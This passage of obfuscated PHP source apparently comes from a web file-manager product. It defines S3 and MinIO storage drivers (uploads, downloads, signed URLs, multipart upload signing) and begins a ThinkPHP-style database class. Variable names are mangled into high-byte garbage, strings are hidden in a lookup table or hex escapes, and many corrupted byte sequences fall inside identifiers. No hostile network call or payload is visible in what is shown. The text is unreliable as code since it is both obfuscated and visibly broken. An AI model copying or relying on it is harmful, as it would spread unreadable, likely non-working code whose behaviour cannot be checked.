$this->client->multiUploadObject($<24>†èÙɽ, $this->bucket, trim($Ùð¬Ü ¹, $Œºò<E28093>ê[8]), $¬¸<C2AC>Ÿ<C5B8>, $ˆùÈ–ü); return $ƒ<>ø™ýö ? $this->getPathOuter($Ùð¬Ü ¹) : !1; } public function download($íüÖÎÖ€, $Ö˜ìçï») { if (!@is_dir($this->pathFather($Ö˜ìçï»)) && !IO::mkdir($this->pathFather($Ö˜ìçï»))) { return !1; } $¨âü’ÀÊ = $this->client->getObject($this->bucket, $íüÖÎÖ€, array(), $Ö˜ìçï»); return $¨âü’ÀÊ !== !1 ? $Ö˜ìçï» : !1; } public function link($ϋ͵Ÿ¹, $™úãÔÝÌ = array()) { $‹Þ϶­» =& $_SERVER[ˆ¡¹µ‹Â]; if ($this->signVer == $‹Þ϶­»[247]) { return $this->client->getAuthenticatedURL($this->bucket, $ϋ͵Ÿ¹, 3600 * 12, $™úãÔÝÌ); } return $this->client->getObjectUrl($this->accessKey, $this->secret, $this->bucket, trim($ϋ͵Ÿ¹, $‹Þ϶­»[8]), 3600 * 12, $this->region, array(), !0, $™úãÔÝÌ); } public function fileOut($¸ìŽ®¨ƒ, $˜ÌþýÕà = false, $Õ›…ð̶ = false, $ï¡ùü©Ø = '') { $¿“øÕÝÀ =& $_SERVER[ˆ¡¹µ‹Â]; if ($this->isFileOutServer()) { return $this->fileOutServer($¸ìŽ®¨ƒ, $˜ÌþýÕÃ, $Õ›…ð̶, $ï¡ùü©Ø); } if (!$Õ›…ð̶) { $Õ›…ð̶ = $this->pathThis($¸ìŽ®¨ƒ); } $”êÕ<C3AA>¸œ = get_file_mime(get_path_ext($Õ›…ð̶)); if ($”êÕ<C3AA>¸œ == $¿“øÕÝÀ[248]) { return parent::fileOut($¸ìŽ®¨ƒ, $˜ÌþýÕÃ, $Õ›…ð̶, $ï¡ùü©Ø); } $ô¶ò‚ÌÏ = array($¿“øÕÝÀ[249] => $”êÕ<C3AA>¸œ); if ($˜ÌþýÕÃ) { $ô¶ò‚ÌÏ[$¿“øÕÝÀ[250]] = $¿“øÕÝÀ[251] . rawurlencode($Õ›…ð̶); } else { } $ò<>Ñ«é• = $this->link($¸ìŽ®¨ƒ, $ô¶ò‚ÌÏ); $this->fileOutLink($ò<>Ñ«é•); } public function fileOutServer($Þ<>þ؃Í, $“÷ÍÛŽÑ = false, $ɸɟÅÊ = false, $­<>¾Èξ = '') { parent::fileOut($Þ<>þ؃Í, $“÷ÍÛŽÑ, $ɸɟÅÊ, $­<>¾Èξ); } public function fileOutImageServer($é”ïæ°æ, $È—âí<C3A2> = 250) { parent::fileOutImage($é”ïæ°æ, $È—âí<C3A2>); } public function hashMd5($³éÒ¾•¸, $ÂÇ›¤Ëå = '') { $’Ô¿ÐêÆ = $this->objectMeta($³éÒ¾•¸); if (!$’Ô¿ÐêÆ) { return !1; } $ÂÇ›¤Ëå = $ÂÇ›¤Ëå ? $ÂÇ›¤Ëå : _get($’Ô¿ÐêÆ, $_SERVER[ˆ¡¹µ‹Â][252]); return $ÂÇ›¤Ëå; } public function uploadFormData($“†áá¡×, $<24>瀇« = 3600) { $ÐÊÛ½½Â =& $_SERVER[ˆ¡¹µ‹Â]; $<24>ÒØ°ÒØ = $this->pathFather($“†áá¡×); $Ñ©ª¢<C2AA>ò = $this->client->getHttpUploadPostParams($this->bucket, $<24>ÒØ°ÒØ, $ÐÊÛ½½Â[229], $<24>瀇«); return array_merge((array) $Ñ©ª¢<C2AA>ò, array($ÐÊÛ½½Â[208] => $this->getHost())); } public function multiUploadFormData($ö³Ã©<C383>, $øæ<E28099>Ù³ = 3600) { $¥ù–ÝêÕ =& $_SERVER[ˆ¡¹µ‹Â]; $å³ëüïç = gmdate($¥ù–ÝêÕ[253]); $…¿­øñ” = array(); $<24>×<EFBFBD>í¨¼ = $this->client->getUploadId($this->bucket, $ö³Ã©<C383>, $…¿­øñ”); if (!$<24>×<EFBFBD>í¨¼) { return !1; } return array($¥ù–ÝêÕ[254] => $<24>×<EFBFBD>í¨¼, $¥ù–ÝêÕ[208] => $this->getHost() . $¥ù–ÝêÕ[8] . $this->pathEncode($ö³Ã©<C383>), $¥ù–ÝêÕ[255] => $å³ëüïç, $¥ù–ÝêÕ[97] => $ö³Ã©<C383>); } public function multiUploadAuthData($¯·“•¯’, $ø²ô„ã— = array()) { $³¯«”¼¬ =& $_SERVER[ˆ¡¹µ‹Â]; $æ¡çí£Î = isset($ø²ô„ã—[$³¯«”¼¬[255]]) ? $ø²ô„ã—[$³¯«”¼¬[255]] : gmdate($³¯«”¼¬[253]); $…¦ŒºÝ† = isset($ø²ô„ã—[$³¯«”¼¬[169]]) ? $ø²ô„ã—[$³¯«”¼¬[169]] : $³¯«”¼¬[12]; $<24>ãëÃù = $ø²ô„ã—[$³¯«”¼¬[97]]; unset($ø²ô„ã—[$³¯«”¼¬[97]]); if (isset($ø²ô„ã—[$³¯«”¼¬[256]])) { $ø²ô„ã—[$³¯«”¼¬[255]] = $æ¡çí£Î; return $this->listUploadParts($<24>ãëÃù, $ø²ô„ã—); } $„–”Õ®û = array($³¯«”¼¬[257], $³¯«”¼¬[12], $³¯«”¼¬[123], $³¯«”¼¬[12], "\x78\55\x61\x6d\x7a\55\144\x61\164\145\72{$æ¡çí£Î}", $³¯«”¼¬[8] . $this->bucket . $³¯«”¼¬[8] . $this->pathEncode($<24>ãëÃù) . $…¦ŒºÝ†); if (strpos($…¦ŒºÝ†, $³¯«”¼¬[258]) === 0) { $„–”Õ®û[0] = $³¯«”¼¬[259]; } if (isset($ø²ô„ã—[$³¯«”¼¬[260]]) && $ø²ô„ã—[$³¯«”¼¬[260]] == $³¯«”¼¬[261]) { $„–”Õ®û[0] = $³¯«”¼¬[261]; } $¦‡šò⟠= implode($³¯«”¼¬[262], $„–”Õ®û); $»Êí¾¿Ç = base64_encode(hash_hmac($³¯«”¼¬[263], $¦‡šòâŸ, $this->secret, !0)); $õäþ³ŸÐ = $³¯«”¼¬[264] . $this->accessKey . $³¯«”¼¬[4] . $»Êí¾¿Ç; if (strpos($…¦ŒºÝ†, $³¯«”¼¬[258]) === 0) { return array($³¯«”¼¬[265] => $õäþ³ŸÐ, $³¯«”¼¬[255] => $æ¡çí£Î); } return $õäþ³ŸÐ; } public function listUploadParts($üà½ãñÎ, $š¸ÓÀì¤ = array()) { $‚™ ÊØŠ =& $_SERVER[ˆ¡¹µ‹Â]; $ªèÙÖº<C396> = str_replace($‚™ ÊØŠ[266], $‚™ ÊØŠ[12], $š¸ÓÀì¤[$‚™ ÊØŠ[169]]); $÷Ùä²Ä¹ = $this->client->listParts($this->bucket, $üà½ãñÎ, $ªèÙÖº<C396>); if (!$÷Ùä²Ä¹) { return !1; } unset($š¸ÓÀì¤[$‚™ ÊØŠ[256]], $š¸ÓÀì¤[$‚™ ÊØŠ[260]]); $š¸ÓÀì¤[$‚™ ÊØŠ[97]] = $üà½ãñÎ; $ü¬ÇÝá© = $this->multiUploadAuthData($üà½ãñÎ, $š¸ÓÀì¤); if (empty($ü¬ÇÝá©)) { return !1; } return array($‚™ ÊØŠ[265] => $ü¬ÇÝá©, $‚™ ÊØŠ[255] => $š¸ÓÀì¤[$‚™ ÊØŠ[255]], $‚™ ÊØŠ[267] => $÷Ùä²Ä¹); } public function getHost() { $ÇÏë<C38F>Þ— =& $_SERVER[ˆ¡¹µ‹Â]; $´Þ°ó«û = parent::getHost(); if (!isset($this->osType)) { $this->osType = $this->getType(); } if (!in_array($this->osType, array($ÇÏë<C38F>Þ—[70], $ÇÏë<C38F>Þ—[64], $ÇÏë<C38F>Þ—[69], $ÇÏë<C38F>Þ—[62]))) { return $´Þ°ó«û . $ÇÏë<C38F>Þ—[8] . $this->bucket; } $´Þ°ó«û = explode($ÇÏë<C38F>Þ—[210], $´Þ°ó«û); return $´Þ°ó«û[0] . $ÇÏë<C38F>Þ—[210] . $this->bucket . $ÇÏë<C38F>Þ—[10] . $´Þ°ó«û[1]; } public function size($Ú–¬È¶®) { $̨ÂÛ<C382> = $this->objectMeta($Ú–¬È¶®); return $̨ÂÛ<C382> ? $̨ÂÛ<C382>[$_SERVER[ˆ¡¹µ‹Â][79]] : 0; } public function info($Ýü„½’ï) { if ($this->isFolder($Ýü„½’ï)) { return $this->folderInfo($Ýü„½’ï); } else { if ($this->isFile($Ýü„½’ï)) { return $this->fileInfo($Ýü„½’ï); } } return !1; } public function exist($¹¶©Ö…Á) { return $this->isFile($¹¶©Ö…Á) || $this->isFolder($¹¶©Ö…Á); } public function isFile($´¸½òãŽ) { return !$this->isFolder($´¸½òãŽ) && $this->objectMeta($´¸½òãŽ); } public function isFolder($˜ä܈¸‡) { return $this->cacheMethod($_SERVER[ˆ¡¹µ‹Â][179], $˜ä܈¸‡); } protected function objectMeta($ϵ´¥‚Ü) { return $this->cacheMethod($_SERVER[ˆ¡¹µ‹Â][181], $ϵ´¥‚Ü); } protected function _objectMeta($ ÷߀Àæ) { $ØÈÃãßÛ =& $_SERVER[ˆ¡¹µ‹Â]; $ ÷߀Àæ = rtrim($ ÷߀Àæ, $ØÈÃãßÛ[8]); try { $á‘ÑÏûÉ = $this->client->getObjectInfo($this->bucket, $ ÷߀Àæ); if (!isset($á‘ÑÏûÉ[$ØÈÃãßÛ[252]]) && isset($á‘ÑÏûÉ[$ØÈÃãßÛ[268]])) { $á‘ÑÏûÉ[$ØÈÃãßÛ[252]] = $á‘ÑÏûÉ[$ØÈÃãßÛ[268]]; } } catch (Exception $ÔàéùùØ) { $á‘ÑÏûÉ = !1; } if (!$á‘ÑÏûÉ) { } return $á‘ÑÏûÉ; } protected function _isFolder($—ÌðŽ³¼) { $áé ýÆÕ =& $_SERVER[ˆ¡¹µ‹Â]; $—ÌðŽ³¼ = rtrim($—ÌðŽ³¼, $áé ýÆÕ[8]); if ($—ÌðŽ³¼ == $áé ýÆÕ[12] || $—ÌðŽ³¼ == $áé ýÆÕ[8]) { return !0; } $²‰Šø“‡ = $this->client->getBucket($this->bucket, $—ÌðŽ³¼, null, 1); if (empty($²‰Šø“‡[$áé ýÆÕ[236]])) { return !1; } $¥’Õ»ÌÆ = $²‰Šø“‡[$áé ýÆÕ[236]][0][$áé ýÆÕ[32]]; return stripos($¥’Õ»ÌÆ, $—ÌðŽ³¼ . $áé ýÆÕ[8]) === 0 ? !0 : !1; if (substr($¥’Õ»ÌÆ, -1) == $áé ýÆÕ[8]) { return !0; } if (get_path_this($¥’Õ»ÌÆ) == get_path_this($—ÌðŽ³¼)) { return !1; } return !0; } public function listObject($îÁµ§–Ú) { return $this->fileList($îÁµ§–Ú, $_SERVER[ˆ¡¹µ‹Â][12], !0); } } class PathDriverMinIO extends PathDriverBaseS3 { public function __construct($Œê–”ïÇ) { $ö<>瞆 =& $_SERVER[ˆ¡¹µ‹Â]; parent::__construct($Œê–”ïÇ); $this->setSignVersion($ö<>瞆[247]); if (!$this->region) { $this->region = $ö<>瞆[269]; $this->client->setRegion($this->region); } $this->client->setHeadValid(!1); } public function setBucketCors() { return !0; } public function getBucketCors() { return !0; } public function isBucketCors() { return !0; } public function checkRegion() { $Õ‚–˜ó… = $this->getBucketRgn(); return $this->region == $Õ‚–˜ó… ? !0 : !1; } public function uploadFormData($ÃæÛûóú, $Ìä«·¹ù = 3600) { $Ö²»·öˆ =& $_SERVER[ˆ¡¹µ‹Â]; $žû¿ÈùÙ = $Ö²»·öˆ[229]; $ÝÊð­Ïª = $Ö²»·öˆ[270]; $Ñà¶ËÁ  = $Ö²»·öˆ[62]; $͹›óÇŠ = gmdate($Ö²»·öˆ[271]); $¾¬§©½Ï = gmdate($Ö²»·öˆ[272]); $Œ´‚ÈšÝ = $Ö²»·öˆ[273]; $ùØøŸ’ø = $Ìä«·¹ù . $Ö²»·öˆ[12]; $•­ÒÊÑ– = $Ö²»·öˆ[274]; $¸ÌéâÄ™ = array($this->accessKey, $¾¬§©½Ï, $this->region, $Ñà¶ËÁ , $Œ´‚ÈšÝ); $ÂêùÌðà = implode($Ö²»·öˆ[8], $¸ÌéâÄ™); $Ë¢<C38B>±¬å = array($Ö²»·öˆ[275] => gmdate($Ö²»·öˆ[276], strtotime($Ö²»·öˆ[277])), $Ö²»·öˆ[278] => array(array($Ö²»·öˆ[279] => $this->bucket), array($Ö²»·öˆ[280] => $žû¿ÈùÙ), array($Ö²»·öˆ[281], $Ö²»·öˆ[282], $Ö²»·öˆ[12]), array($Ö²»·öˆ[281], $Ö²»·öˆ[283], $Ö²»·öˆ[12]), array($Ö²»·öˆ[281], $Ö²»·öˆ[284], $Ö²»·öˆ[12]), array($Ö²»·öˆ[285] => $•­ÒÊÑ–), array($Ö²»·öˆ[286] => $ÂêùÌðà), array($Ö²»·öˆ[287] => $ÝÊð­Ïª), array($Ö²»·öˆ[288] => $͹›óÇŠ), array($Ö²»·öˆ[289] => $ùØøŸ’ø))); $ǰÉ帵 = base64_encode(json_encode($Ë¢<C38B>±¬å)); $ÖÒ¶²«¢ = hash_hmac($Ö²»·öˆ[290], $¾¬§©½Ï, $Ö²»·öˆ[291] . $this->secret, !0); $¢÷ò‹®æ = hash_hmac($Ö²»·öˆ[290], $this->region, $ÖÒ¶²«¢, !0); $Èú<C388>„žá = hash_hmac($Ö²»·öˆ[290], $Ñà¶ËÁ , $¢÷ò‹®æ, !0); $ª¡¼¡Ãû = hash_hmac($Ö²»·öˆ[290], $Œ´‚ÈšÝ, $Èú<C388>„žá, !0); $ï¹’÷îæ = hash_hmac($Ö²»·öˆ[290], $ǰÉ帵, $ª¡¼¡Ãû); $ž<E28099>¢¸Ã = array($Ö²»·öˆ[246] => $Ö²»·öˆ[12], $Ö²»·öˆ[292] => $Ö²»·öˆ[12], $Ö²»·öˆ[280] => $žû¿ÈùÙ, $Ö²»·öˆ[285] => $•­ÒÊÑ–, $Ö²»·öˆ[293] => $ǰÉ帵, $Ö²»·öˆ[294] => $ÂêùÌðà, $Ö²»·öˆ[295] => $ÝÊð­Ïª, $Ö²»·öˆ[296] => $͹›óÇŠ, $Ö²»·öˆ[297] => $ùØøŸ’ø, $Ö²»·öˆ[298] => $ï¹’÷îæ, $Ö²»·öˆ[208] => $this->getHost()); return $ž<E28099>¢¸Ã; } } goto bÈ ¨­¢¸í; b™Ñª¤¸£‡: class DbSqlite3 extends DbSqlite3Base { public function query($ó¬ãä<C3A3>) { $ûþ‰îÅù =& $_SERVER[ˆ¡¹µ‹Â]; if (!CacheLock::fileLock($ûþ‰îÅù[13])) { return !1; } $Üöå•<C3A5>½ = parent::query($ó¬ãä<C3A3>); CacheLock::fileUnLock($ûþ‰îÅù[13]); return $Üöå•<C3A5>½; } public function execute($øû<C3B8>®ÚË) { $ìܦ͞‘ =& $_SERVER[ˆ¡¹µ‹Â]; if (!CacheLock::fileLock($ìܦ͞‘[13])) { return !1; } $û¾ËˆÄñ = parent::execute($øû<C3B8>®ÚË); CacheLock::fileUnLock($ìܦ͞‘[13]); return $û¾ËˆÄñ; } } class Db { protected $dbType = null; protected $autoFree = false; protected $model = "\x5f\x74\150\x69\x6e\153\137"; protected $pconnect = false; protected $queryStr = ''; protected $modelSql = array(); protected $lastInsID = null; protected $numRows = 0; protected $numCols = 0; protected $transTimes = 0; protected $error = ''; protected $linkID = array(); protected $_linkID = null; protected $queryID = null; protected $connected = false; protected $config = ''; protected $configLast = ''; protected $exp = array("\x65\x71" => "\75", "\x6e\x65\161" => "\x3c\76", "\x67\x74" => "\76", "\x65\147\x74" => "\x3e\75", "\154\164" => "\x3c", "\145\154\164" => "\74\x3d", "\x6e\157\164\154\x69\153\145" => "\116\117\124\40\x4c\111\x4b\105", "\x6c\151\x6b\145" => "\114\111\x4b\x45", "\x69\156" => "\111\116", "\x6e\x6f\164\151\156" => "\116\x4f\124\x20\x49\x4e", "\156\157\164\x20\151\156" => "\x4e\117\124\40\x49\116", "\x62\x65\x74\167\x65\x65\156" => "\x42\x45\x54\x57\105\105\x4e", "\156\157\164\142\145\x74\x77\145\145\156" => "\x4e\117\124\40\x42\x45\x54\127\105\x45\116", "\156\x6f\164\x20\x62\145\x74\x77\x65\145\156" => "\x4e\x4f\x54\x20\102\105\124\127\105\105\x4e"); protected $selectSql = "\x53\x45\x4c\x45\103\124\45\x44\x49\123\x54\x49\116\103\x54\45\40\45\106\111\x45\114\x44\x25\40\106\x52\x4f\115\x20\45\124\101\102\114\105\45\45\112\x4f\x49\116\x25\x25\127\110\x45\x52\105\x25\45\x47\122\x4f\125\120\x25\45\x48\x41\126\x49\116\107\45\45\117\x52\x44\105\x52\45\x25\x4c\111\115\111\124\45\x20\x25\125\x4e\x49\117\x4e\x25\x25\x43\117\x4d\115\105\x4e\124\45"; protected $bind = array(); public static function getInstance() { $ÁÝÁŒýô = func_get_args(); return think_get_instance_of(__CLASS__, $_SERVER[ˆ¡¹µ‹Â][1031], $ÁÝÁŒýô); } public function factory($ÏŒ¹ö✠= '') { $ÛÆèÔŽÙ =& $_SERVER[ˆ¡¹µ‹Â]; $ÏŒ¹ö✠= $this->parseConfig($ÏŒ¹öâœ); if (empty($ÏŒ¹öâœ[$ÛÆèÔŽÙ[1032]])) { think_exception(think_lang($ÛÆèÔŽÙ[1033])); } $this->dbType = ucwords(strtolower($ÏŒ¹öâœ[$ÛÆèÔŽÙ[1032]])); $©­ëÄ‹Í = $ÛÆèÔŽÙ[1034] . $this->dbType; if (class_exists($©­ëÄ‹Í)) { $ˆª«š¬” = new $©­ëÄ‹Í($ÏŒ¹öâœ); if ($ÛÆèÔŽÙ[1035] != strtolower($ÏŒ¹öâœ[$ÛÆèÔŽÙ[1032]])) { $ˆª«š¬”->dbType = strtoupper($this->dbType); } else { $ˆª«š¬”->dbType = $this->_getDsnType($ÏŒ¹öâœ[$ÛÆèÔŽÙ[987]]); } } else { think_exception(think_lang($ÛÆèÔŽÙ[1036]) . $ÛÆèÔŽÙ[1037] . $©­ëÄ‹Í); } return $ˆª«š¬”; } public function __call($—°ãà•—, $¼Ÿ£ãЬ) { if (method_exists($this, $—°ãà•—)) { return call_user_func_array(array($this, $—°ãà•—), $¼Ÿ£ãЬ); } } protected function _getDsnType($Ÿˆƒá¥Ú) { $”Èè´ÔÐ = explode($_SERVER[ˆ¡¹µ‹Â][4], $Ÿˆƒá¥Ú); $´Ï´ <C2B4> = strtoupper(trim($”Èè´ÔÐ[0])); return $´Ï´ <C2B4>; } private function parseConfig($<24>ƒ¬í<C2AC>Ý = '') { $ÅÊ•ýºŠ =& $_SERVER[ˆ¡¹µ‹Â]; if (!empty($<24>ƒ¬í<C2AC>Ý) && is_string($<24>ƒ¬í<C2AC>Ý)) { $<24>ƒ¬í<C2AC>Ý = $this->parseDSN($<24>ƒ¬í<C2AC>Ý); } elseif (is_array($<24>ƒ¬í<C2AC>Ý)) { $<24>ƒ¬í<C2AC>Ý = array_change_key_case($<24>ƒ¬í<C2AC>Ý); $<24>ƒ¬í<C2AC>Ý = array($ÅÊ•ýºŠ[1032] => $<24>ƒ¬í<C2AC>Ý[$ÅÊ•ýºŠ[1038]], $ÅÊ•ýºŠ[959] => $<24>ƒ¬í<C2AC>Ý[$ÅÊ•ýºŠ[1039]], $ÅÊ•ýºŠ[960] => $<24>ƒ¬í<C2AC>Ý[$ÅÊ•ýºŠ[1040]], $ÅÊ•ýºŠ[957] => $<24>ƒ¬í<C2AC>Ý[$ÅÊ•ýºŠ[1041]], $ÅÊ•ýºŠ[958] => $<24>ƒ¬í<C2AC>Ý[$ÅÊ•ýºŠ[1042]], $ÅÊ•ýºŠ[21] => $<24>ƒ¬í<C2AC>Ý[$ÅÊ•ýºŠ[1043]], $ÅÊ•ýºŠ[987] => $<24>ƒ¬í<C2AC>Ý[$ÅÊ•ýºŠ[1044]], $ÅÊ•ýºŠ[17] => isset($<24>ƒ¬í<C2AC>Ý[$ÅÊ•ýºŠ[1045]]) ? $<24>ƒ¬í<C2AC>Ý[$ÅÊ•ýºŠ[1045]] : array()); } elseif (empty($<24>ƒ¬í<C2AC>Ý)) { if (think_config($ÅÊ•ýºŠ[1046]) && $ÅÊ•ýºŠ[1035] != strtolower(think_config($ÅÊ•ýºŠ[1047]))) { $<24>ƒ¬í<C2AC>Ý = $this->parseDSN(think_config($ÅÊ•ýºŠ[1046])); } else { $<24>ƒ¬í<C2AC>Ý = array($ÅÊ•ýºŠ[1032] => think_config($ÅÊ•ýºŠ[1047]), $ÅÊ•ýºŠ[959] => think_config($ÅÊ•ýºŠ[1048]), $ÅÊ•ýºŠ[960] => think_config($ÅÊ•ýºŠ[1049]), $ÅÊ•ýºŠ[957] => think_config($ÅÊ•ýºŠ[1050]), $ÅÊ•ýºŠ[958] => think_config($ÅÊ•ýºŠ[1051]), $ÅÊ•ýºŠ[21] => think_config($ÅÊ•ýºŠ[323]), $ÅÊ•ýºŠ[987] => think_config($ÅÊ•ýºŠ[1046]), $ÅÊ•ýºŠ[17] => think_config($ÅÊ•ýºŠ[1052])); } } return $<24>ƒ¬í<C2AC>Ý; } protected function initConnect($舧‘©± = true) { if (1 == think_config($_SERVER[ˆ¡¹µ‹Â][22])) { $this->_linkID = $this->multiConnect($舧‘©±); } else { if (isset($this->config) && $this->config) { $this->configLast = $this->config; } } if (!isset($this->connected) || !$this->connected) { $this->_linkID = $this->connect(); } } protected function closeConnect() { if (!$this->connected) { return; } foreach ($this->linkID as $À³õíÍÝ => $ŸÐ™<C390>¨ã) { $this->_linkID = $ŸÐ™<C390>¨ã; $this->close(); } $this->linkID = array(); $this->_linkID = null; $this->connected = !1; if (!$this->config && $this->configLast) { $this->config = $this->configLast; } } protected function multiConnect($‚ˆØç…¤ = false) { $‡ÈƒðúÐ =& $_SERVER[ˆ¡¹µ‹Â]; static $<>ëÖü = array(); static $ꈃ¥Æ® = -1; if (empty($<>ëÖü)) { foreach ($this->config as $óã<C3B3>Úѳ => $ç Ðéþ¡) { $<>ëÖü[$óã<C3B3>Úѳ] = explode($‡ÈƒðúÐ[50], $ç Ðéþ¡); } } if (think_config($‡ÈƒðúÐ[1053])) { if ($‚ˆØç…¤ || think_config($‡ÈƒðúÐ[471]) === !0) { $¸§©©˜ž = floor(mt_rand(0, think_config($‡ÈƒðúÐ[1054]) - 1)); $ꈃ¥Æ® = $¸§©©˜ž; } else { if (is_numeric(think_config($‡ÈƒðúÐ[1055]))) { $¸§©©˜ž = think_config($‡ÈƒðúÐ[1055]); } else { $¸§©©˜ž = floor(mt_rand(think_config($‡ÈƒðúÐ[1054]), count($<>ëÖü[$‡ÈƒðúÐ[957]]) - 1)); } } } else { $¸§©©˜ž = floor(mt_rand(0, count($<>ëÖü[$‡ÈƒðúÐ[957]]) - 1)); $ꈃ¥Æ® = $¸§©©˜ž; } $¸§©©˜ž = $ꈃ¥Æ® !== -1 ? $ꈃ¥Æ® : $¸§©©˜ž; $ßÛþÔ<C3BE>Ë = array($‡ÈƒðúÐ[959] => isset($<>ëÖü[$‡ÈƒðúÐ[959]][$¸§©©˜ž]) ? $<>ëÖü[$‡ÈƒðúÐ[959]][$¸§©©˜ž] : $<>ëÖü[$‡ÈƒðúÐ[959]][0], $‡ÈƒðúÐ[960] => isset($<>ëÖü[$‡ÈƒðúÐ[960]][$¸§©©˜ž]) ? $<>ëÖü[$‡ÈƒðúÐ[960]][$¸§©©˜ž] : $<>ëÖü[$‡ÈƒðúÐ[960]][0], $‡ÈƒðúÐ[957] => isset($<>ëÖü[$‡ÈƒðúÐ[957]][$¸§©©˜ž]) ? $<>ëÖü[$‡ÈƒðúÐ[957]][$¸§©©˜ž] : $<>ëÖü[$‡ÈƒðúÐ[957]][0], $‡ÈƒðúÐ[958] => isset($<>ëÖü[$‡ÈƒðúÐ[958]][$¸§©©˜ž]) ? $<>ëÖü[$‡ÈƒðúÐ[958]][$¸§©©˜ž] : $<>ëÖü[$‡ÈƒðúÐ[958]][0], $‡ÈƒðúÐ[21] => isset($<>ëÖü[$‡ÈƒðúÐ[21]][$¸§©©˜ž]) ? $<>ëÖü[$‡ÈƒðúÐ[21]][$¸§©©˜ž] : $<>ëÖü[$‡ÈƒðúÐ[21]][0], $‡ÈƒðúÐ[987] => isset($<>ëÖü[$‡ÈƒðúÐ[987]][$¸§©©˜ž]) ? $<>ëÖü[$‡ÈƒðúÐ[987]][$¸§©©˜ž] : $<>ëÖü[$‡ÈƒðúÐ[987]][0], $‡ÈƒðúÐ[17] => isset($<>ëÖü[$‡ÈƒðúÐ[17]][$¸§©©˜ž]) ? $<>ëÖü[$‡ÈƒðúÐ[17]][$¸§©©˜ž] : $<>ëÖü[$‡ÈƒðúÐ[17]][0]); return $this->connect($ßÛþÔ<C3BE>Ë, $¸§©©˜ž); } public function parseDSN($ó¿‡àà¯) { $¦ùÇ«“» =& $_SERVER[ˆ¡¹µ‹Â]; if (empty($ó¿‡àà¯)) { return !1; } $°ú—ÒëÞ = parse_url($ó¿‡àà¯); if ($°ú—ÒëÞ[$¦ùÇ«“»[207]]) { $Ãô×£ì‘ = array($¦ùÇ«“»[1032] => $°ú—ÒëÞ[$¦ùÇ«“»[207]], $¦ùÇ«“»[959] => isset($°ú—ÒëÞ[$¦ùÇ«“»[662]]) ? $°ú—ÒëÞ[$¦ùÇ«“»[662]] : $¦ùÇ«“»[12], $¦ùÇ«“»[960] => isset($°ú—ÒëÞ[$¦ùÇ«“»[1056]]) ? $°ú—ÒëÞ[$¦ùÇ«“»[1056]] : $¦ùÇ«“»[12], $¦ùÇ«“»[957] => isset($°ú—ÒëÞ[$¦ùÇ«“»[208]]) ? $°ú—ÒëÞ[$¦ùÇ«“»[208]] : $¦ùÇ«“»[12], $¦ùÇ«“»[958] => isset($°ú—ÒëÞ[$¦ùÇ«“»[209]]) ? $°ú—ÒëÞ[$¦ùÇ«“»[209]] : $¦ùÇ«“»[12], $¦ùÇ«“»[21] => isset($°ú—ÒëÞ[$¦ùÇ«“»[87]]) ? substr($°ú—ÒëÞ[$¦ùÇ«“»[87]], 1) : $¦ùÇ«“»[12]); } else { preg_match($¦ùÇ«“»[1057], trim($ó¿‡àà¯), $æÛ<E280BA>ˆð); $Ãô×£ì‘ = array($¦ùÇ«“»[1032] => $æÛ<E280BA>ˆð[1], $¦ùÇ«“»[959] => $æÛ<E280BA>ˆð[2], $¦ùÇ«“»[960] => $æÛ<E280BA>ˆð[3], $¦ùÇ«“»[957] => $æÛ<E280BA>ˆð[4], $¦ùÇ«“»[958] => $æÛ<E280BA>ˆð[5], $¦ùÇ«“»[21] => $æÛ<E280BA>ˆð[6]); } $Ãô×£ì‘[$¦ùÇ«“»[987]] = $¦ùÇ«“»[12]; return $Ãô×£ì‘; } protected function debug() { $ˆçÉú<C389> =& $_SERVER[ˆ¡¹µ‹Â]; $this->modelSql[$this->model] = $this->queryStr; $this->model = $ˆçÉú<C389>Â[1058]; if (think_config($ˆçÉú<C389>Â[1059])) { think_status($ˆçÉú<C389>Â[1060]); think_trace($this->queryStr . $ˆçÉú<C389>Â[1061] . think_status($ˆçÉú<C389>Â[24], $ˆçÉú<C389>Â[1060], 6) . $ˆçÉú<C389>Â[1062], $ˆçÉú<C389>Â[12], $ˆçÉú<C389>Â[1063]); } } protected function parseLock($Ž<>„øÇ™ = false) { $þÖ°¥ìþ =& $_SERVER[ˆ¡¹µ‹Â]; if (!$Ž<>„øÇ™) { return $þÖ°¥ìþ[12]; } if ($þÖ°¥ìþ[989] == $this->dbType) { return $þÖ°¥ìþ[1064]; } return $þÖ°¥ìþ[1065]; } protected function parseSet($Ûý‰†ê±) { $šüàæ´¹ =& $_SERVER[ˆ¡¹µ‹Â]; foreach ($Ûý‰†ê± as $ý¿µã½³ => $–ŠÝÛº¥) { if (is_array($–ŠÝÛº¥) && $šüàæ´¹[373] == $–ŠÝÛº¥[0]) { $Î<>溟[] = $this->parseKey($ý¿µã½³) . $šüàæ´¹[506] . $–ŠÝÛº¥[1]; } elseif (is_scalar($–ŠÝÛº¥) || is_null($–ŠÝÛº¥)) { $Î<>溟[] = $this->parseKey($ý¿µã½³) . $šüàæ´¹[506] . $this->parseValue($–ŠÝÛº¥); } } return $šüàæ´¹[1066] . implode($šüàæ´¹[50], $Î<>溟); } protected function bindParam($ä›Ð¹ ˆ, $ͽµ™ö<E284A2>) { $this->bind[$_SERVER[ˆ¡¹µ‹Â][4] . $ä›Ð¹ ˆ] = $ͽµ™ö<E284A2>; } protected function parseBind($žÞÙÍÃ<C38D>) { $žÞÙÍÃ<C38D> = array_merge($this->bind, $žÞÙÍÃ<C38D>); $this->bind = array(); return $žÞÙÍÃ<C38D>; } function parseKey(&$ÕÍò­›ƒ, $‹¼¨õÍ® = true) { if ($‹¼¨õÍ®) { $ÕÍò­›ƒ = $this->parseKeyCheck($ÕÍò­›ƒ); } return $ÕÍò­›ƒ; } function parseKeyCheck($ÜÈǰ¤°) { $Žš›Ñç˜ =& $_SERVER[ˆ¡¹µ‹Â]; $ÜÈǰ¤° = trim($ÜÈǰ¤°); if (!preg_match($Žš›Ñç˜[1067], $ÜÈǰ¤°)) { think_exception($Žš›Ñç˜[1068] . $ÜÈǰ¤°); } return $ÜÈǰ¤°; } protected function parseValue($÷¡‚–ØÍ) { $ºÁËéØè =& $_SERVER[ˆ¡¹µ‹Â]; if (is_string($÷¡‚–ØÍ)) { $÷¡‚–ØÍ = $ºÁËéØè[1028] . $this->escapeString($÷¡‚–ØÍ) . $ºÁËéØè[1028]; } elseif (isset($÷¡‚–ØÍ[0]) && is_string($÷¡‚–ØÍ[0]) && strtolower($÷¡‚–ØÍ[0]) == $ºÁËéØè[373]) { $÷¡‚–ØÍ = $this->escapeString($÷¡‚–ØÍ[1]); } elseif (is_array($÷¡‚–ØÍ)) { $÷¡‚–ØÍ = array_map(array($this, 